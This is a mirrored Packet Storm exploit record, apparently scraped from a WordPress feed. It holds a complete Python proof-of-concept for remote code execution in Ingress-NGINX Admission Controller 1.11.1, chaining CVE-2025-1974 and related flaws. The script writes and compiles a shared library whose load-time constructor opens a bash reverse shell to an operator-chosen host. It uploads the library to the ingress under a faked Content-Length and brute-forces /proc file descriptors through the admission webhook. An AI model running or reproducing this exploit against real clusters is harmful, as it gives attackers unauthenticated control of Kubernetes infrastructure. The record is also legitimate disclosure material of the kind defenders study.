{“lastseen”:”2026-02-05T20:44:19″,”description”:”Ingress-NGINX Admission Controller version 1.11.1 remote code execution proof of concept exploit that chains together multiple vulnerabilities…”,”published”:”2026-02-05T00:00:00″,”modified”:”2026-02-05T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Ingress-NGINX Admission Controller 1.11.1 Remote Code Execution”,”source”:””,”references”:””,”id”:”PACKETSTORM:215039″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-1097″,”CVE-2025-1098″,”CVE-2025-1974″,”CVE-2025-24514″],”sourceData”:”# Exploit Title: Ingress-NGINX Admission Controller v1.11.1 – FD Injection to RCE \\n # Date: 2025-10-07\\n # Exploit Author: Beatriz Fresno Naumova\\n # Vendor Homepage: https:\/\/kubernetes.io\\n # Software Link: https:\/\/github.com\/kubernetes\/ingress-nginx\\n # Version: Affects v1.10.0 to v1.11.1 (potentially others)\\n # Tested on: Ubuntu 22.04, RKE2 Kubernetes Cluster\\n # CVE: CVE-2025-1097, CVE-2025-1098, CVE-2025-24514, CVE-2025-1974\\n \\n import os\\n import sys\\n import socket\\n import requests\\n import threading\\n from urllib.parse import urlparse\\n from concurrent.futures import ThreadPoolExecutor\\n import urllib3\\n \\n urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\\n \\n # — Embedded malicious shared object template —\\n MALICIOUS_C_TEMPLATE = \\”\\”\\”\\n #include \\u003cstdlib.h\\u003e\\n \\n __attribute__((constructor))\\n void run_on_load() {\\n system(\\”bash -c ‘bash -i \\u003e\\u0026 \/dev\/tcp\/HOST\/PORT 0\\u003e\\u00261’\\”);\\n }\\n \\n int bind(void *e, const char *id) {\\n return 1;\\n }\\n \\n void ENGINE_load_evil() {}\\n \\n int bind_engine() {\\n return 1;\\n }\\n \\”\\”\\”\\n \\n def compile_shared_library(host, port, output_file=\\”evil_engine.so\\”):\\n c_code = MALICIOUS_C_TEMPLATE.replace(\\”HOST\\”, host).replace(\\”PORT\\”, str(port))\\n \\n with open(\\”evil_engine.c\\”, \\”w\\”) as f:\\n f.write(c_code)\\n \\n print(\\”[*] Compiling malicious shared object…\\”)\\n result = os.system(\\”gcc -fPIC -Wall -shared -o evil_engine.so evil_engine.c -lcrypto\\”)\\n \\n if result == 0:\\n print(\\”[+] Shared object compiled successfully.\\”)\\n return True\\n else:\\n print(\\”[!] Compilation failed. Is gcc installed?\\”)\\n return False\\n \\n \\n def send_brute_request(admission_url, json_template, proc, fd):\\n print(f\\”[*] Trying \/proc\/{proc}\/fd\/{fd}\\”)\\n path = f\\”proc\/{proc}\/fd\/{fd}\\”\\n payload = json_template.replace(\\”REPLACE\\”, path)\\n \\n headers = {\\”Content-Type\\”: \\”application\/json\\”}\\n url = admission_url.rstrip(\\”\/\\”) + \\”\/admission\\”\\n \\n try:\\n response = requests.post(url, data=payload, headers=headers, verify=False, timeout=5)\\n print(f\\”[+] Response for \/proc\/{proc}\/fd\/{fd}: {response.status_code}\\”)\\n except Exception as e:\\n print(f\\”[!] Error on \/proc\/{proc}\/fd\/{fd}: {e}\\”)\\n \\n \\n def brute_force_admission(admission_url, json_file=\\”review.json\\”, max_proc=50, max_fd=30, max_workers=5):\\n try:\\n with open(json_file, \\”r\\”) as f:\\n json_data = f.read()\\n except FileNotFoundError:\\n print(f\\”[!] Error: {json_file} not found.\\”)\\n return\\n \\n print(\\”[*] Starting brute-force against the admission webhook…\\”)\\n with ThreadPoolExecutor(max_workers=max_workers) as executor:\\n for proc in range(1, max_proc):\\n for fd in range(3, max_fd):\\n executor.submit(send_brute_request, admission_url, json_data, proc, fd)\\n \\n \\n def upload_shared_library(ingress_url, shared_object=\\”evil_engine.so\\”):\\n try:\\n with open(shared_object, \\”rb\\”) as f:\\n evil_payload = f.read()\\n except FileNotFoundError:\\n print(f\\”[!] Error: {shared_object} not found.\\”)\\n return\\n \\n parsed = urlparse(ingress_url)\\n host = parsed.hostname\\n port = parsed.port or 80\\n path = parsed.path or \\”\/\\”\\n \\n try:\\n sock = socket.create_connection((host, port))\\n except Exception as e:\\n print(f\\”[!] Failed to connect to {host}:{port}: {e}\\”)\\n return\\n \\n fake_length = len(evil_payload) + 10\\n headers = (\\n f\\”POST {path} HTTP\/1.1\\\\r\\\\n\\”\\n f\\”Host: {host}\\\\r\\\\n\\”\\n f\\”User-Agent: qmx-ingress-exploiter\\\\r\\\\n\\”\\n f\\”Content-Type: application\/octet-stream\\\\r\\\\n\\”\\n f\\”Content-Length: {fake_length}\\\\r\\\\n\\”\\n f\\”Connection: keep-alive\\\\r\\\\n\\\\r\\\\n\\”\\n ).encode(\\”iso-8859-1\\”)\\n \\n print(\\”[*] Uploading malicious shared object to ingress…\\”)\\n sock.sendall(headers + evil_payload)\\n \\n response = b\\”\\”\\n while True:\\n chunk = sock.recv(4096)\\n if not chunk:\\n break\\n response += chunk\\n \\n print(\\”[*] Server response:\\\\n\\”)\\n print(response.decode(errors=\\”ignore\\”))\\n sock.close()\\n \\n \\n def main():\\n if len(sys.argv) != 4:\\n print(\\”Usage: python3 exploit.py \\u003cingress_url\\u003e \\u003cadmission_webhook_url\\u003e \\u003crev_host:port\\u003e\\”)\\n sys.exit(1)\\n \\n ingress_url = sys.argv[1]\\n admission_url = sys.argv[2]\\n rev_host_port = sys.argv[3]\\n \\n if ‘:’ not in rev_host_port:\\n print(\\”[!] Invalid format for rev_host:port.\\”)\\n sys.exit(1)\\n \\n host, port = rev_host_port.split(\\”:\\”)\\n \\n if not compile_shared_library(host, port):\\n sys.exit(1)\\n \\n # Send the malicious shared object and keep the connection open\\n upload_thread = threading.Thread(target=upload_shared_library, args=(ingress_url,))\\n upload_thread.start()\\n \\n # Simultaneously brute-force the admission webhook for valid file descriptors\\n brute_force_admission(admission_url)\\n \\n \\n if __name__ == \\”__main__\\”:\\n main()”,”sourceHref”:”https:\/\/packetstorm.news\/download\/215039″,”cvss”:{“score”:9.8,”severity”:”CRITICAL”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/215039\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-02-05T20:44:19″,”description”:”Ingress-NGINX Admission Controller version 1.11.1 remote code execution proof of concept exploit that chains together multiple vulnerabilities…”,”published”:”2026-02-05T00:00:00″,”modified”:”2026-02-05T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Ingress-NGINX Admission Controller 1.11.1 Remote Code Execution”,”source”:””,”references”:””,”id”:”PACKETSTORM:215039″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-1097″,”CVE-2025-1098″,”CVE-2025-1974″,”CVE-2025-24514″],”sourceData”:”# Exploit…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,13,53,7,11,5],"class_list":["post-39287","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n